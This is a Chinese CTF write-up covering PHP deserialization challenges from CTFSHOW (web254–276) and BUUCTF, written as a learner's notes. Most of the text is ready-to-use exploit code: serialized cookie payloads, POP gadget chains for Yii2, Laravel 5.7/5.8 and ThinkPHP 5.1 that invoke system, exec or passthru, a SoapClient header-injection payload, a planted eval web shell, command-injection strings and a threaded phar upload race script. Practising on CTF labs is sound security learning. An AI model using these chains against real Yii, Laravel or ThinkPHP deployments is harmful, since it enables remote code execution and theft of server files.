LOADING...

dadada~

loading

PHP反序列化_WP


不知道为啥这个格式乱了好多,鼓捣半天

CTFSHOW-php反序列化

web254-传参

  • 看了半天怎么反序列化结果发现这题不考反序列化
  • 直接传参:?username=xxxxxx&password=xxxxxx

web255-反序列化

  • 基础的反序列化,首先要求传入username和password,然后cookie传入一个user进行反序列化
  • 然后依次调用类中的三个方法,序列化时应将isvip设置为true,并进行url编码
  • payload:
    • (get)?username=xxxxxx&password=xxxxxx
    • (cookie)user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256-变量覆盖

  • 和255差不多,要求username和password不能相等,把username改为aaa把password改为bbb后序列化
  • payload:
    • (get)?username=aaa&password=bbb
    • (cookie)user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257-pop

  • 可以看到backDoor类和info类中存在同名函数,利用同名函数构造pop链:

    <?php
        class ctfShowUser{
            private $username='xxxxxx';
            private $password='xxxxxx';
            private $isVip=false;
            private $class = 'info';
          
            public function __construct(){
                $this->class=new backDoor();
            }
            public function login($u,$p){
                return $this->username===$u&&$this->password===$p;
            }
            public function __destruct(){
                $this->class->getInfo();
            }
          
        }
        class backDoor{
            private $code = 'system("ls");';  //执行后换成system("cat flag.php")
            public function getInfo(){
                eval($this->code);
            }
        }
          
        echo urlencode(serialize(new ctfShowUser()));
    

web258-绕过正则

  • 这个故事告诉我们不能偷懒,妄图直接拿上一个题的脚本加两个str_replace,结果成员变量给换成pubic的了,死死活活出不来

  • /[oc]:\d+:/i可以通过在数字前加+绕过

    <?php
        class ctfShowUser{
            public $username='xxxxxx';
            public $password='xxxxxx';
            public $isVip=false;
            public $class = 'info';
          
            public function __construct(){
                $this->class=new backDoor();
            }
            public function login($u,$p){
                return $this->username===$u&&$this->password===$p;
            }
            public function __destruct(){
                $this->class->getInfo();
            }
          
        }
        class backDoor{
            public $code = 'system("ls");';  //执行后换成system("cat flag.php")
            public function getInfo(){
                eval($this->code);
            }
        }
        $t = str_replace(":11",":+11",serialize(new  ctfShowUser()));
        $t = str_replace(":8",":+8",$t);
        echo urlencode($t);
    

web259-SoapClient类

  • 提示:

    flag.php
    
    $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    array_pop($xff);
    $ip = array_pop($xff);
    if($ip!=='127.0.0.1'){
          die('error');
      }else{
          $token = $_POST['token'];
          if($token=='ctfshow'){
              file_put_contents('flag.txt',$flag);
          }
      }
    
    • 可以猜到考的是SoapClient类的利用
  • 在PHP 中使用$_SERVER["REMOTE_ADDR"]来取得客户端的 IP地址,但如果客户端是使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址;要想透过代理服务器取得客户端的真实 IP 地址,就要使用$_SERVER["HTTP_X_FORWARDED_FOR"]来读取

  • X-Forwarded-For 是一个 HTTP 扩展头部;HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP (HTTP学成**了

  • 如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:

    X-Forwarded-For: IP0, IP1, IP2
    
  • Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求;列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得

  • 那么我们就可以构造序列化内容:

    <?php
        $ua = "ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-         urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
        $client = new SoapClient(null, array('uri' => 'http://127.0.0.1', 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua));
        $t = serialize($client);
        echo urlencode($t);
    

web260-正则

  • 两个做法:
    • 一个是字符串逃逸的原理:直接在序列化内容后加ctfshow_i_love_36D
    • 一个是成员变量赋值为ctfshow_i_love_36D

web261-弱比较+绕过__wakeup

  • 在php7.4.0开始,如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

  • __unserialize() 方法让序列化后的$code等于username和password拼接的值,弱比较判断code是否等于0x36d->877

  • 序列化脚本:

    <?php
        class ctfshowvip{
            public $username;
            public $password;
            public $code;
    
            public function __construct($u,$p){
                $this->username=$u;
                $this->password=$p;
            }
            public function __unserialize($data){
                $this->username=$data['username'];
                $this->password=$data['password'];
                $this->code = $this->username.$this->password;
            }
    
        echo urlencode(serialize(new ctfshowvip('877.php','<?php eval(@$_POST[1]);')));
    
  • 访问877.php,命令执行得到flag

web262-字符串逃逸-变长

  • 好了,今天智商持续掉线,有人连flag在哪个页面输出都不知道了

  • 可以看到注释里有一个massage.php,内容表达了如果反序列化后的token=admin,就会输出flag

  • 字符串替换:$umsg = str_replace('fuck', 'loveU', serialize($msg));

  • 直接C++构造超长的由54个fuck构成的字符串,payload:

    f=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";i:2;s:2:"to";i:3;s:5:"token";s:5:"admin";}&t=1&m=1
    

web263-session反序列化

web264-字符串逃逸+session

  • 按理来说应该和262差不多的,但是还是出不来
  • 太感动了呜呜呜,我看看是谁不会设置cookie:Cookie: PHPSESSID=vg227j3holoo5t07g0apqoc372; msg=1
  • 就比262多了一个给Cookie[‘msg’]赋值,卡了好久好久…可见上一题也是在这里摔倒了

web265-引用

  • 另token等于一个随机数:$ctfshow->token=md5(mt_rand());,但要求password和token相等,可以使用引用:

    <?php
        class ctfshowAdmin{
            public $token;
            public $password;
    
            public function login(){
                return $this->token===$this->password;
            }
        }
        $t = new ctfshowAdmin();
        $t->password=&$t->token;
        echo urlencode(serialize($t));
    
  • get传参得到flag

web266-快速析构

  • 又是新东西捏
  • destruct会在脚本结束后执行,而抛出异常导致无法立即执行destruct,所以要进行快速析构
  • 当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功;但是,由于给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法
  • 方法:改掉属性的个数,删掉结尾的}
  • 在PHP中,类不区分大小写,所以可以改为CTFshow也可以绕过

web267-Yii框架

  • 打开是一个ctfshow社区页面,扫目录页没扫到啥

  • 弱口令admin admin成功登录,可以在about页面源码里找到view-source?r=site%2Fabout&view-source可以看到:

    ///backdoor/shell
    unserialize(base64_decode($_GET['code']))
    
  • 搜了一下说是利用Yii框架,Yii2 2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize 时,可通过构造特定的恶意请求执行任意命令;CVE编号是CVE-2020-15148

  • 有现成的exp可以直接rce:

    <?php
    namespace yii\rest{
        class CreateAction{
            public $checkAccess;
            public $id;
    
            public function __construct(){
                $this->checkAccess = 'passthru';  //函数
                $this->id = 'tac /flag';  //参数
            }
        }
    }
    namespace Faker{
        use yii\rest\CreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct(){
                $this->formatters['close'] = [new CreateAction(), 'run'];
            }
        }
    } 
    namespace yii\db{
        use Faker\Generator;
    
        class BatchQueryResult{
            private $_dataReader;
    
            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yii\db\BatchQueryResult));
    }
    
  • passthru函数:是用来执行外部命令的,当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数

  • 传参:?r=/backdoor/shell&code=[序列化内容]

web268-Yii框架+1

  • 和267步骤一样,但是267的exp用不了了,呜呜呜

  • 新的exp:

    <?php
        namespace yii\rest{
            class IndexAction{
                public $checkAccess;
                public $id;
                public function __construct() {
                    $this->checkAccess = 'exec';
                    $this->id = 'cp /f* 1.txt';
                }
            }
        }
        namespace Faker {
            use yii\rest\IndexAction;
            class Generator{
                protected $formatters;
                public function __construct() {
                    $this->formatters['isRunning'] = [new IndexAction(), 'run']; 
                }
            }
        }
        namespace Codeception\Extension{
            use Faker\Generator;
            class RunProcess {
                private $processes = [];
                public function __construct(){
                    $this->processes[]=new Generator();
                }
            }
        }
        namespace{        
            use Codeception\Extension\RunProcess;
            echo base64_encode(serialize(new RunProcess()));
        }
    
  • 然后访问1.txt,可以看到flag

web269-Yii框架+1+1

  • 新新新新exp:

    <?php
        namespace yii\rest{
            class CreateAction{
                public $checkAccess;
                public $id;
    
                public function __construct(){
                    $this->checkAccess = 'exec';
                    $this->id = 'cp /f* 1.txt';
                }
            }
        }
        namespace Faker{
            use yii\rest\CreateAction;
            class Generator{
                protected $formatters;
                public function __construct(){
                    $this->formatters['render'] = [new CreateAction(), 'run'];
                }
            }
        }
        namespace phpDocumentor\Reflection\DocBlock\Tags{
            use Faker\Generator;
            class See{
                protected $description;
                public function __construct() {
                    $this->description = new Generator();
                }
            }
        }
        namespace{
            use phpDocumentor\Reflection\DocBlock\Tags\See;
            class Swift_KeyCache_DiskKeyCache{
                private $keys = [];
                private $path;
                public function __construct() {
                    $this->path = new See;
                    $this->keys = array(
                        "tingshuo"=>array("zheli"=>"suibianxie")
                    );
                }
            }
            // 生成poc
            echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
        }
    
  • 访问1.txt,得到flag

web270-Yii框架+1+1+1

  • 又双叒叕是一个新的exp

    <?php
        namespace yii\rest {
            class Action
            {
                public $checkAccess;
            }
            class IndexAction
            {
                public function __construct($func, $param)
                {
                    $this->checkAccess = $func;
                    $this->id = $param;
                }
            }
        }
        namespace yii\web {
            abstract class MultiFieldSession
            {
                public $writeCallback;
            }
            class DbSession extends MultiFieldSession
            {
                public function __construct($func, $param)
              {
                    $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
                }
            }
        }
        namespace yii\db {
            use yii\base\BaseObject;
            class BatchQueryResult
            {
                private $_dataReader;
                public function __construct($func, $param)
                {
                    $this->_dataReader = new \yii\web\DbSession($func, $param);
                }
            }
        }
        namespace {
            $exp = new \yii\db\BatchQueryResult('exec', 'cp /f* 1.txt');
            echo(base64_encode(serialize($exp)));
        }
    

我是怎么挖掘yii2反序列化0day的 (qq.com)

yii反序列化漏洞复现及利用_Snakin_ya的博客-CSDN博客_yii反序列化漏洞

yii漏洞复现以及对yii相关的ctf题分析 - 哎呀我去, - 博客园 (cnblogs.com)


web271-Laravel5.7

  • 先是搜到了这个是什么框架,然后去找了了个利用的但是用不了

  • 呜呜呜,面向wp学ctf

  • 还有就是post参数用hackbar不行,但是bp就可以,害的我耽误好久呜呜

    <?php
        namespace Illuminate\Foundation\Testing {
            class PendingCommand {
                public $test;
                protected $app;
                protected $command;
                protected $parameters;
    
                public function __construct($test, $app, $command, $parameters) {
                    $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
                    $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
                    $this->command = $command;           //要执行的php函数 system
                    $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
                }
            }
        }
        namespace Faker {
            class DefaultGenerator{
                protected $default;
                public function __construct($default = null) {
                    $this->default = $default;
                }
            }
        }
        namespace Illuminate\Foundation {
            class Application{
                protected $instances = [];
                public function __construct($instances = []) {
                    $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
                }
            }
        }
        namespace {
            $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
            $app = new Illuminate\Foundation\Application();
            $application = new Illuminate\Foundation\Application($app);
            $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));
            echo urlencode(serialize($pendingcommand));
        }
    
  • laravel5.7 反序列化漏洞复现

web272-Laravel5.8

  • 还是框架漏洞(感觉这些框架的复现是个大工程啊,exp:

  • <?php
        namespace PhpParser\Node\Scalar\MagicConst{
            class Line {}
        }
        namespace Mockery\Generator{
            class MockDefinition {
                protected $config;
                protected $code;
                public function __construct($config, $code) {
                    $this->config = $config;
                    $this->code = $code;
                }
            }
        }
        namespace Mockery\Loader{
            class EvalLoader{}
        }
        namespace Illuminate\Bus{
            class Dispatcher {
                protected $queueResolver;
                public function __construct($queueResolver) {
                    $this->queueResolver = $queueResolver;
                }
            }
        }
        namespace Illuminate\Foundation\Console{
            class QueuedCommand {
                public $connection;
                public function __construct($connection) {
                    $this->connection = $connection;
                }
            }
        }
        namespace Illuminate\Broadcasting{
            class PendingBroadcast {
                protected $events;
                protected $event;
                public function __construct($events, $event) {
                    $this->events = $events;
                    $this->event = $event;
                }
            }
        }
        namespace{
            $line = new PhpParser\Node\Scalar\MagicConst\Line();
            $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");
            $evalloader = new Mockery\Loader\EvalLoader();
            $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
            $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
            $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
            echo urlencode(serialize($pendingbroadcast));
        }
    
  • Laravel5.8.x反序列化POP链

  • laravel5.8 反序列化漏洞复现

web273-Larvel5.8

  • 和272一模一样,直接用272的payload就可以
  • 据说是php版本不一样了

web274-thinkphp5.1

  • 看源码找到:@unserialize(base64_decode(\$_GET['data']))

  • exp:

    <?php
        namespace think;
        abstract class Model{
            protected $append = [];
            private $data = [];
            function __construct() {
                $this->append = ["la"=>["ls /","calc"]];  //注意看这里
                $this->data = ["la"=>new Request()];
            }
        }
        class Request {
            protected $hook = [];
            protected $filter = "system";
            protected $config = [
    // 表单请求类型伪装变量  
                'var_method'       => '_method',  
    // 表单ajax伪装变量
                'var_ajax'         => '_ajax',
    // 表单pjax伪装变量
                'var_pjax'         => '_pjax',
    // PATHINFO变量名 用于兼容模式
                'var_pathinfo'     => 's',
    // 兼容PATH_INFO获取
                'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
    // 默认全局过滤方法 用逗号分隔多个
                'default_filter'   => '',
    // 域名根,如thinkphp.cn
                'url_domain_root'  => '',
    // HTTPS代理标识
                'https_agent_name' => '',
    // IP代理获取标识
                'http_agent_ip'    => 'HTTP_X_REAL_IP',
    // URL伪静态后缀
                'url_html_suffix'  => 'html',
            ];
            function __construct(){
                $this->filter = "system";
                $this->config = ["var_ajax"=>''];
                $this->hook = ["visible"=>[$this,"isAjax"]];
            }
        }
        namespace think\process\pipes;
        use think\model\concern\Conversion;
        use think\model\Pivot;
        class Windows {
            private $files = [];
            public function __construct() {
                $this->files=[new Pivot()];
            }
        }
        namespace think\model;
        use think\Model;
        class Pivot extends Model{
        }
        use think\process\pipes\Windows;
        echo base64_encode(serialize(new Windows()));
    
  • 传参的时候需要注意,除了要传data还要传一个上边代码标注的地方,内容是要执行的代码

web275-拼接rce

  • __destruct方法里有这么一句:system('rm '.$this->filename);,可以拼接命令

  • 因此要让evilfile的值为true,两个条件:

    public function checkevil(){
            if(preg_match('/php|\.\./i', $this->filename)){
                $this->evilfile=true;
            }
            if(preg_match('/flag/i', $this->filecontent)){
                $this->evilfile=true;
            }
            return $this->evilfile;
    
  • payload:?fn=1.php;cat flag.php,然后post一个phpflag

web276-phar+条件竞争

  • 需要写脚本多线程上传文件,思路和上一题差不多,让admin和evilfile值为true,就可以拼接执行命令

  • 脚本思路:

    • 首先需要制作phar包,然后上传文件,在被删除之前实现反序列化并执行命令

      <?php
          class filter{
              public $filename = '1.php;cat f*';
              public $evilfile=true;
              public $admin = true;
          }
          $phar=new phar('1.phar');
          $phar->startBuffering();
          $phar->setStub("<?php __HALT_COMPILER();?>");
          $obj=new filter();
          $phar->setMetadata($obj);
          $phar->addFromString("1.txt","hao ye!");
          $phar->stopBuffering();
      
    • 获取回显并判断是否包含flag

    • 定义两个线程执行上传和读取操作

  • 脚本:

    import requests
    import threading
          
    u = "http://ddd0d11f-a001-4dbd-9ec8-53fee7cc757d.challenge.ctf.show/"
    f = open("1.phar", 'rb').read()
      def upload():
            requests.post(url=u + "?fn=1.phar", data=f)
    def execute():
          r = requests.post(url=u + "?fn=phar://1.phar/", data="")
            if "ctfshow{" in r.text:
                print(r.text)
              exit()
    while 1:
          threading.Thread(target=upload()).start()
          threading.Thread(target=execute()).start()
    

BUU-反序列化

[0CTF 2016]piapiapia

  • 打开是一个登录页面,试了几个密码都登不进去,试了一下www.zip,成功下载源码

  • 可以发现有一个register.php。访问,随便注册一个账号登进去,可以看到有一个修改信息和上传图片的页面

  • 研究源码吧

  • 首先可以profile.php里找到一个$photo = base64_encode(file_get_contents($profile['photo']));

  • 然后继续找,在upload.php里:if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10),这里可以使用数组绕过

  • 继续,可以在class.php里看到这么一段:

    public function update_profile($username, $new_profile) {
            $username = parent::filter($username);
            $new_profile = parent::filter($new_profile);
    
            $where = "username = '$username'";
            return parent::update($this->table, 'profile', $new_profile, $where);
        }
    
  • 继续跟进到filter方法:

    public function filter($string) {
            $escape = array('\'', '\\\\');
            $escape = '/' . implode('|', $escape) . '/';
            $string = preg_replace($escape, '_', $string);
    
            $safe = array('select', 'insert', 'update', 'delete', 'where');
            $safe = '/' . implode('|', $safe) . '/i';
            return preg_replace($safe, 'hacker', $string);
        }
    
  • 可以发现可以构造字符串逃逸,因此思路就是,传入一个nickname,让它反序列化后输出config.php

  • 这里有一个需要注意的就是,因为把nickname改成了字符型,所以后边的字符串要多一个}

    payload:
    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
    
  • 来,看笑话

    z5lWu9.png
  • 我说呢我说呢我说呢怎么个事呢

  • f12找到base64编码后的字符串,去解码,得到flag

[安洵杯 2019]easy_serialize_php

  • 可以直接看源码,这里写了一句:

    eval('phpinfo();'); //maybe you can find something in here!
    
  • 传参?f=phpinfo,找到了一个看起来很可疑的文件——d0g3_f1ag.php

  • 这个题看起来比上一个简单一点,也是字符串逃逸,但是是缩短的

  • extract($_POST);,这里有一个变量覆盖,可以通过post传参,覆盖掉之前的session参数

    payload:
    _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:2:"bb";}
    
  • 查看源码可以看到:$flag = 'flag in /d0g3_fllllllag';,把/d0g3_fllllllag进行base64编码然后替换掉

    payload:
    _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:2:"bb";}
    
  • 得到flag